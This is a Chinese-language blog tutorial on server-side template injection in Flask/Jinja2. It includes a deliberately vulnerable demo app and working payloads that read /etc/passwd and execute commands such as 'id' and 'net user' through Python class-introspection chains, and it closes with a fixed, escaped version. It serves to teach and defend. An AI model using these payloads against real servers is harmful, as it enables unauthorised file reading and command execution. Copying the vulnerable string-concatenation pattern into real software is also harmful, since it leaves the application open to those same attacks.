vlambda博客
学习文章列表

Flask模板注入学习



目录:
     1.前言
     2.Flask模板注入
     (1)模版XSS注入
     (2)SSTI文件读取和命令执行
     (2.1)SSTI漏洞构造
     (2.2)python常用的魔术方法
     (2.3)文件读取Payload
     (2.4)命令执行Payload
     (3)模版注入防御
    



1.前言
 对于学习Flask模板注入,需要对Flask框架和Jinja 2模板引擎有一定的了解。不熟悉的小伙伴可以先学习。


                                    

2.Flask模板注入
  不正确的使用flask中的render_template_string()方法和在渲染模板中拼接参数时,会引发SSTI漏洞。

(1)模版XSS注入
vlun1.py:
#!/usr/bin/python3# -*- coding: UTF-8 -*-
from flask import Flask, request, render_template_stringapp = Flask(__name__)
@app.route('/index/')def test_xss(): code = request.args.get('id') html = ''' <h2>Test flask xss!</h2> <h3>%s</h3> '''%(code) return render_template_string(html)
app.run()
 上述代码由于code参数可控,和html拼接后直接进行渲染,导致产生xss。

Flask模板注入学习

构造xss:
http://127.0.0.1:5000/index/?id=1

Flask模板注入学习




(2)SSTI文件读取和命令执行
(2.1)SSTI漏洞构造
在jiaja2模板引擎中,{{}}是变量包裹的标识符,这个标识符不仅可以传递变量,还可以执行一些简单的表达式。

构造参数:
http://127.0.0.1:5000/index/?id={{9*9}}
Flask模板注入学习
可以看到构造的表达式成功执行。

(2.2)python常用的魔术方法

__class__    #返回类型所属的对象;

__mro__      #返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析;

__base__      #返回该对象所继承的基类。__base__和__mro__都是用来寻找基类的;

__subclasses__  #每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用的列表;

__init__     #类的初始化方法;

__globals__    #对包含函数全局变量的字典的引用。


基于python2介绍:
获取字符串类的对象:
>>> "".__class__<type 'str'>

获取基类(父类):
>>> "".__class__.__mro__(<type 'str'>, <type 'basestring'>, <type 'object'>)

获取可引用类型(object):
>>> ''.__class__.__mro__[2].__subclasses__()[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]>>>
利用上述引用模块中的: <type 'file'>


获取索引:
>>> ''.__class__.__mro__[2].__subclasses__().index(file)40>>>

接下来,我们就可以利用了。

(2.3)文件读取Payload
Linux:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

Windows:
''.__class__.__mro__[2].__subclasses__()[40]('r'D:\vlun1.py').read()

(2.4)命令执行Payload
Payload1:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('id')

Payload2:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("net user").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}
Flask模板注入学习

(3)模版注入防御
 将代码修改为如下,不但能防御xss漏洞,而且也有效防御了文件读取和命令执行漏洞。

defense_vlun1.py:
#!/usr/bin/python3# -*- coding: UTF-8 -*-
from flask import Flask, request, render_template_stringapp = Flask(__name__)
@app.route('/index/')def test_xss(): code = request.args.get('id') return render_template_string('<h2>Test flask xss!</h2><h3>{{code}}</h3>', code=code)
app.run()
Flask模板注入学习

Flask模板注入学习
可以看到,插入的xss payload代码原样输出了, 因为模板引擎一般都默认对渲染的变量值进行了编码转义,所以不会存在xss,也有效防御了表达式执行。

参考文章
https://portswigger.net/research/server-side-template-injection
参考文章:
https://0day.work/jinja2-template-injection-filter-bypasses/

更多文章请前往:https://blog.csdn.net/qq_41490561





Flask模板注入学习
更多精彩内容请关注我们

Flask模板注入学习


Flask模板注入学习


往期推荐